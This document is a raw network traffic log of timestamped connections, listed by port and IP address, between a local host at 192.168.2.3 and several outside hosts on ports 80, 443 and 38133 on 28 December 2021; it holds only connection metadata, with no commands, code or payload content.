Dec 28, 2021 05:19:34.938997030 CET	49834	80	192.168.2.3	91.243.44.128
Dec 28, 2021 05:19:34.939021111 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.939057112 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.939075947 CET	49834	80	192.168.2.3	91.243.44.128
Dec 28, 2021 05:19:34.939093113 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.939129114 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.939143896 CET	49834	80	192.168.2.3	91.243.44.128
Dec 28, 2021 05:19:34.939165115 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.939199924 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.939214945 CET	49834	80	192.168.2.3	91.243.44.128
Dec 28, 2021 05:19:34.939235926 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.939271927 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.939285040 CET	49834	80	192.168.2.3	91.243.44.128
Dec 28, 2021 05:19:34.939310074 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.939346075 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.939358950 CET	49834	80	192.168.2.3	91.243.44.128
Dec 28, 2021 05:19:34.939382076 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.939419031 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.939430952 CET	49834	80	192.168.2.3	91.243.44.128
Dec 28, 2021 05:19:34.939455032 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.939490080 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.939507008 CET	49834	80	192.168.2.3	91.243.44.128
Dec 28, 2021 05:19:34.939524889 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.939560890 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.939594984 CET	49834	80	192.168.2.3	91.243.44.128
Dec 28, 2021 05:19:34.939604044 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.939640999 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.939675093 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.939699888 CET	49834	80	192.168.2.3	91.243.44.128
Dec 28, 2021 05:19:34.939711094 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.939737082 CET	49834	80	192.168.2.3	91.243.44.128
Dec 28, 2021 05:19:34.939748049 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.939785004 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.939820051 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.939836979 CET	49834	80	192.168.2.3	91.243.44.128
Dec 28, 2021 05:19:34.939855099 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.939872026 CET	49834	80	192.168.2.3	91.243.44.128
Dec 28, 2021 05:19:34.939892054 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.939929008 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.939963102 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.939982891 CET	49834	80	192.168.2.3	91.243.44.128
Dec 28, 2021 05:19:34.939999104 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.940011978 CET	49834	80	192.168.2.3	91.243.44.128
Dec 28, 2021 05:19:34.940035105 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.940069914 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.940104961 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.940126896 CET	49834	80	192.168.2.3	91.243.44.128
Dec 28, 2021 05:19:34.940140963 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.940152884 CET	49834	80	192.168.2.3	91.243.44.128
Dec 28, 2021 05:19:34.940177917 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.940216064 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.940251112 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.940283060 CET	49834	80	192.168.2.3	91.243.44.128
Dec 28, 2021 05:19:34.940285921 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.940310955 CET	49834	80	192.168.2.3	91.243.44.128
Dec 28, 2021 05:19:34.940323114 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.940357924 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.940392971 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.940407991 CET	49834	80	192.168.2.3	91.243.44.128
Dec 28, 2021 05:19:34.940428019 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.940464020 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.940478086 CET	49834	80	192.168.2.3	91.243.44.128
Dec 28, 2021 05:19:34.940500975 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.940535069 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.940551996 CET	49834	80	192.168.2.3	91.243.44.128
Dec 28, 2021 05:19:34.940571070 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.940606117 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.940622091 CET	49834	80	192.168.2.3	91.243.44.128
Dec 28, 2021 05:19:34.940639973 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.940675974 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.940691948 CET	49834	80	192.168.2.3	91.243.44.128
Dec 28, 2021 05:19:34.940712929 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.940751076 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.940763950 CET	49834	80	192.168.2.3	91.243.44.128
Dec 28, 2021 05:19:34.940788984 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.940824032 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.940840006 CET	49834	80	192.168.2.3	91.243.44.128
Dec 28, 2021 05:19:34.940885067 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.940922022 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.940943956 CET	49834	80	192.168.2.3	91.243.44.128
Dec 28, 2021 05:19:34.940958023 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.940993071 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.941008091 CET	49834	80	192.168.2.3	91.243.44.128
Dec 28, 2021 05:19:34.941102982 CET	49834	80	192.168.2.3	91.243.44.128
Dec 28, 2021 05:19:34.949934959 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.949968100 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.950042963 CET	49834	80	192.168.2.3	91.243.44.128
Dec 28, 2021 05:19:34.952157974 CET	49834	80	192.168.2.3	91.243.44.128
Dec 28, 2021 05:19:34.952817917 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.952843904 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.953485012 CET	49834	80	192.168.2.3	91.243.44.128
Dec 28, 2021 05:19:34.999027014 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.999074936 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.999114990 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.999152899 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.999165058 CET	49834	80	192.168.2.3	91.243.44.128
Dec 28, 2021 05:19:34.999193907 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.999219894 CET	49834	80	192.168.2.3	91.243.44.128
Dec 28, 2021 05:19:34.999234915 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.999273062 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.999311924 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.999351978 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.999367952 CET	49834	80	192.168.2.3	91.243.44.128
Dec 28, 2021 05:19:34.999392033 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.999432087 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.999445915 CET	49834	80	192.168.2.3	91.243.44.128
Dec 28, 2021 05:19:34.999469995 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.999509096 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.999524117 CET	49834	80	192.168.2.3	91.243.44.128
Dec 28, 2021 05:19:34.999547958 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.999583960 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.999597073 CET	49834	80	192.168.2.3	91.243.44.128
Dec 28, 2021 05:19:34.999623060 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.999660969 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.999672890 CET	49834	80	192.168.2.3	91.243.44.128
Dec 28, 2021 05:19:34.999699116 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.999737978 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.999752998 CET	49834	80	192.168.2.3	91.243.44.128
Dec 28, 2021 05:19:34.999778032 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.999815941 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.999855995 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.999857903 CET	49834	80	192.168.2.3	91.243.44.128
Dec 28, 2021 05:19:34.999892950 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.999932051 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.999948978 CET	49834	80	192.168.2.3	91.243.44.128
Dec 28, 2021 05:19:34.999970913 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:35.000010967 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:35.000029087 CET	49834	80	192.168.2.3	91.243.44.128
Dec 28, 2021 05:19:35.000051975 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:35.000089884 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:35.000107050 CET	49834	80	192.168.2.3	91.243.44.128
Dec 28, 2021 05:19:35.000128984 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:35.000168085 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:35.000266075 CET	49834	80	192.168.2.3	91.243.44.128
Dec 28, 2021 05:19:35.004779100 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:35.004820108 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:35.004885912 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:35.004890919 CET	49834	80	192.168.2.3	91.243.44.128
Dec 28, 2021 05:19:35.004928112 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:35.004966974 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:35.005006075 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:35.005043983 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:35.005053043 CET	49834	80	192.168.2.3	91.243.44.128
Dec 28, 2021 05:19:35.005081892 CET	49834	80	192.168.2.3	91.243.44.128
Dec 28, 2021 05:19:35.005083084 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:35.005125999 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:35.005137920 CET	49834	80	192.168.2.3	91.243.44.128
Dec 28, 2021 05:19:35.005166054 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:35.005207062 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:35.005245924 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:35.005283117 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:35.005302906 CET	49834	80	192.168.2.3	91.243.44.128
Dec 28, 2021 05:19:35.005323887 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:35.005374908 CET	49834	80	192.168.2.3	91.243.44.128
Dec 28, 2021 05:19:35.005378962 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:35.005419970 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:35.005460024 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:35.005472898 CET	49834	80	192.168.2.3	91.243.44.128
Dec 28, 2021 05:19:35.005500078 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:35.005553007 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:35.005568027 CET	49834	80	192.168.2.3	91.243.44.128
Dec 28, 2021 05:19:35.005594015 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:35.005634069 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:35.005647898 CET	49834	80	192.168.2.3	91.243.44.128
Dec 28, 2021 05:19:35.005672932 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:35.005712032 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:35.005731106 CET	49834	80	192.168.2.3	91.243.44.128
Dec 28, 2021 05:19:35.005752087 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:35.005791903 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:35.005805016 CET	49834	80	192.168.2.3	91.243.44.128
Dec 28, 2021 05:19:35.005831003 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:35.005868912 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:35.005886078 CET	49834	80	192.168.2.3	91.243.44.128
Dec 28, 2021 05:19:35.005908012 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:35.005949020 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:35.005963087 CET	49834	80	192.168.2.3	91.243.44.128
Dec 28, 2021 05:19:35.005987883 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:35.006027937 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:35.006041050 CET	49834	80	192.168.2.3	91.243.44.128
Dec 28, 2021 05:19:35.006067038 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:35.006103992 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:35.006124020 CET	49834	80	192.168.2.3	91.243.44.128
Dec 28, 2021 05:19:35.006144047 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:35.006182909 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:35.006196022 CET	49834	80	192.168.2.3	91.243.44.128
Dec 28, 2021 05:19:35.006222010 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:35.006263018 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:35.006277084 CET	49834	80	192.168.2.3	91.243.44.128
Dec 28, 2021 05:19:35.006300926 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:35.006340027 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:35.006352901 CET	49834	80	192.168.2.3	91.243.44.128
Dec 28, 2021 05:19:35.006378889 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:35.006433010 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:35.006436110 CET	49834	80	192.168.2.3	91.243.44.128
Dec 28, 2021 05:19:35.006470919 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:35.006510019 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:35.006524086 CET	49834	80	192.168.2.3	91.243.44.128
Dec 28, 2021 05:19:35.006548882 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:35.006587982 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:35.006603003 CET	49834	80	192.168.2.3	91.243.44.128
Dec 28, 2021 05:19:35.006628990 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:35.006666899 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:35.006681919 CET	49834	80	192.168.2.3	91.243.44.128
Dec 28, 2021 05:19:35.006706953 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:35.006746054 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:35.006767988 CET	49834	80	192.168.2.3	91.243.44.128
Dec 28, 2021 05:19:35.006788969 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:35.006828070 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:35.006865978 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:35.006880999 CET	49834	80	192.168.2.3	91.243.44.128
Dec 28, 2021 05:19:35.006896019 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:35.006952047 CET	49834	80	192.168.2.3	91.243.44.128
Dec 28, 2021 05:19:35.016838074 CET	49834	80	192.168.2.3	91.243.44.128
Dec 28, 2021 05:19:35.077294111 CET	49835	38133	192.168.2.3	86.107.197.138
Dec 28, 2021 05:19:35.157685995 CET	38133	49835	86.107.197.138	192.168.2.3
Dec 28, 2021 05:19:35.176256895 CET	38133	49835	86.107.197.138	192.168.2.3
Dec 28, 2021 05:19:35.273991108 CET	49835	38133	192.168.2.3	86.107.197.138
Dec 28, 2021 05:19:36.824459076 CET	49837	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:19:36.889976025 CET	80	49837	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:36.893017054 CET	49837	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:19:36.893117905 CET	49837	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:19:36.893141031 CET	49837	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:19:36.957109928 CET	80	49837	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:37.004609108 CET	80	49837	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:37.004805088 CET	49837	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:19:37.005022049 CET	49837	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:19:37.041723013 CET	49838	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:19:37.069117069 CET	80	49837	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:37.094738007 CET	49835	38133	192.168.2.3	86.107.197.138
Dec 28, 2021 05:19:37.109503031 CET	80	49838	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:37.109636068 CET	49838	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:19:37.109743118 CET	49838	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:19:37.109759092 CET	49838	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:19:37.123071909 CET	38133	49835	86.107.197.138	192.168.2.3
Dec 28, 2021 05:19:37.177284956 CET	80	49838	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:37.180411100 CET	49835	38133	192.168.2.3	86.107.197.138
Dec 28, 2021 05:19:37.232554913 CET	80	49838	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:37.232656002 CET	49838	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:19:37.247968912 CET	49838	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:19:37.272814035 CET	49839	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:19:37.315587997 CET	80	49838	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:37.339891911 CET	80	49839	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:37.341496944 CET	49839	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:19:37.341648102 CET	49839	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:19:37.341662884 CET	49839	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:19:37.408807039 CET	80	49839	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:37.408885002 CET	80	49839	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:37.457096100 CET	80	49839	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:37.457190990 CET	49839	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:19:37.457441092 CET	49839	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:19:37.515583992 CET	49840	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:19:37.524348974 CET	80	49839	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:37.585395098 CET	80	49840	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:37.585658073 CET	49840	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:19:37.585829973 CET	49840	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:19:37.585863113 CET	49840	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:19:37.653599977 CET	80	49840	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:37.710366964 CET	80	49840	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:37.711059093 CET	49840	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:19:37.711229086 CET	49840	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:19:37.742655039 CET	49841	443	192.168.2.3	144.76.136.153
Dec 28, 2021 05:19:37.742713928 CET	443	49841	144.76.136.153	192.168.2.3
Dec 28, 2021 05:19:37.742841005 CET	49841	443	192.168.2.3	144.76.136.153
Dec 28, 2021 05:19:37.744332075 CET	49841	443	192.168.2.3	144.76.136.153
Dec 28, 2021 05:19:37.744365931 CET	443	49841	144.76.136.153	192.168.2.3
Dec 28, 2021 05:19:37.777822018 CET	80	49840	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:37.830188990 CET	443	49841	144.76.136.153	192.168.2.3
Dec 28, 2021 05:19:37.830302954 CET	49841	443	192.168.2.3	144.76.136.153
Dec 28, 2021 05:19:37.832158089 CET	49841	443	192.168.2.3	144.76.136.153
Dec 28, 2021 05:19:37.832175016 CET	443	49841	144.76.136.153	192.168.2.3
Dec 28, 2021 05:19:37.832557917 CET	443	49841	144.76.136.153	192.168.2.3
Dec 28, 2021 05:19:37.834474087 CET	49841	443	192.168.2.3	144.76.136.153
Dec 28, 2021 05:19:37.876909971 CET	443	49841	144.76.136.153	192.168.2.3
Dec 28, 2021 05:19:38.705518961 CET	443	49841	144.76.136.153	192.168.2.3
Dec 28, 2021 05:19:38.705565929 CET	443	49841	144.76.136.153	192.168.2.3
Dec 28, 2021 05:19:38.705601931 CET	443	49841	144.76.136.153	192.168.2.3
Dec 28, 2021 05:19:38.705652952 CET	49841	443	192.168.2.3	144.76.136.153
Dec 28, 2021 05:19:38.705689907 CET	443	49841	144.76.136.153	192.168.2.3
Dec 28, 2021 05:19:38.705709934 CET	49841	443	192.168.2.3	144.76.136.153
Dec 28, 2021 05:19:38.705749989 CET	49841	443	192.168.2.3	144.76.136.153
Dec 28, 2021 05:19:38.706229925 CET	443	49841	144.76.136.153	192.168.2.3
Dec 28, 2021 05:19:38.706269026 CET	443	49841	144.76.136.153	192.168.2.3
Dec 28, 2021 05:19:38.706316948 CET	49841	443	192.168.2.3	144.76.136.153
Dec 28, 2021 05:19:38.706341982 CET	443	49841	144.76.136.153	192.168.2.3
Dec 28, 2021 05:19:38.706360102 CET	49841	443	192.168.2.3	144.76.136.153
Dec 28, 2021 05:19:38.706399918 CET	49841	443	192.168.2.3	144.76.136.153
Dec 28, 2021 05:19:38.727984905 CET	443	49841	144.76.136.153	192.168.2.3
Dec 28, 2021 05:19:38.728038073 CET	443	49841	144.76.136.153	192.168.2.3
Dec 28, 2021 05:19:38.728157997 CET	49841	443	192.168.2.3	144.76.136.153
Dec 28, 2021 05:19:38.728185892 CET	443	49841	144.76.136.153	192.168.2.3
Dec 28, 2021 05:19:38.728203058 CET	49841	443	192.168.2.3	144.76.136.153
Dec 28, 2021 05:19:38.728509903 CET	443	49841	144.76.136.153	192.168.2.3
Dec 28, 2021 05:19:38.728548050 CET	443	49841	144.76.136.153	192.168.2.3
Dec 28, 2021 05:19:38.728590965 CET	49841	443	192.168.2.3	144.76.136.153
Dec 28, 2021 05:19:38.728615999 CET	443	49841	144.76.136.153	192.168.2.3
Dec 28, 2021 05:19:38.728632927 CET	49841	443	192.168.2.3	144.76.136.153
Dec 28, 2021 05:19:38.728665113 CET	49841	443	192.168.2.3	144.76.136.153
Dec 28, 2021 05:19:38.728962898 CET	443	49841	144.76.136.153	192.168.2.3
Dec 28, 2021 05:19:38.729003906 CET	443	49841	144.76.136.153	192.168.2.3
Dec 28, 2021 05:19:38.729047060 CET	49841	443	192.168.2.3	144.76.136.153
Dec 28, 2021 05:19:38.729075909 CET	443	49841	144.76.136.153	192.168.2.3
Dec 28, 2021 05:19:38.729093075 CET	49841	443	192.168.2.3	144.76.136.153
Dec 28, 2021 05:19:38.729127884 CET	49841	443	192.168.2.3	144.76.136.153
Dec 28, 2021 05:19:38.751564980 CET	443	49841	144.76.136.153	192.168.2.3
Dec 28, 2021 05:19:38.751612902 CET	443	49841	144.76.136.153	192.168.2.3
Dec 28, 2021 05:19:38.751665115 CET	49841	443	192.168.2.3	144.76.136.153
Dec 28, 2021 05:19:38.751703978 CET	443	49841	144.76.136.153	192.168.2.3
Dec 28, 2021 05:19:38.751725912 CET	49841	443	192.168.2.3	144.76.136.153
Dec 28, 2021 05:19:38.751863956 CET	443	49841	144.76.136.153	192.168.2.3
Dec 28, 2021 05:19:38.751903057 CET	443	49841	144.76.136.153	192.168.2.3
Dec 28, 2021 05:19:38.751945019 CET	49841	443	192.168.2.3	144.76.136.153
Dec 28, 2021 05:19:38.751966953 CET	443	49841	144.76.136.153	192.168.2.3
Dec 28, 2021 05:19:38.751985073 CET	49841	443	192.168.2.3	144.76.136.153
Dec 28, 2021 05:19:38.752015114 CET	49841	443	192.168.2.3	144.76.136.153
Dec 28, 2021 05:19:38.753953934 CET	443	49841	144.76.136.153	192.168.2.3
Dec 28, 2021 05:19:38.754004955 CET	443	49841	144.76.136.153	192.168.2.3
Dec 28, 2021 05:19:38.754044056 CET	49841	443	192.168.2.3	144.76.136.153
Dec 28, 2021 05:19:38.754061937 CET	443	49841	144.76.136.153	192.168.2.3
Dec 28, 2021 05:19:38.754086971 CET	49841	443	192.168.2.3	144.76.136.153
Dec 28, 2021 05:19:38.754107952 CET	49841	443	192.168.2.3	144.76.136.153
Dec 28, 2021 05:19:38.754638910 CET	443	49841	144.76.136.153	192.168.2.3
Dec 28, 2021 05:19:38.754679918 CET	443	49841	144.76.136.153	192.168.2.3
Dec 28, 2021 05:19:38.754731894 CET	49841	443	192.168.2.3	144.76.136.153
Dec 28, 2021 05:19:38.754761934 CET	443	49841	144.76.136.153	192.168.2.3
Dec 28, 2021 05:19:38.754780054 CET	49841	443	192.168.2.3	144.76.136.153
Dec 28, 2021 05:19:38.754884958 CET	49841	443	192.168.2.3	144.76.136.153
Dec 28, 2021 05:19:38.756447077 CET	443	49841	144.76.136.153	192.168.2.3
Dec 28, 2021 05:19:38.756484032 CET	443	49841	144.76.136.153	192.168.2.3
Dec 28, 2021 05:19:38.756544113 CET	49841	443	192.168.2.3	144.76.136.153
Dec 28, 2021 05:19:38.756561995 CET	443	49841	144.76.136.153	192.168.2.3
Dec 28, 2021 05:19:38.756587982 CET	49841	443	192.168.2.3	144.76.136.153
Dec 28, 2021 05:19:38.756620884 CET	49841	443	192.168.2.3	144.76.136.153
Dec 28, 2021 05:19:38.759150982 CET	443	49841	144.76.136.153	192.168.2.3
Dec 28, 2021 05:19:38.759191990 CET	443	49841	144.76.136.153	192.168.2.3
Dec 28, 2021 05:19:38.759252071 CET	49841	443	192.168.2.3	144.76.136.153
Dec 28, 2021 05:19:38.759270906 CET	443	49841	144.76.136.153	192.168.2.3
Dec 28, 2021 05:19:38.759288073 CET	49841	443	192.168.2.3	144.76.136.153
Dec 28, 2021 05:19:38.759324074 CET	49841	443	192.168.2.3	144.76.136.153
Dec 28, 2021 05:19:38.773312092 CET	443	49841	144.76.136.153	192.168.2.3
Dec 28, 2021 05:19:38.773364067 CET	443	49841	144.76.136.153	192.168.2.3
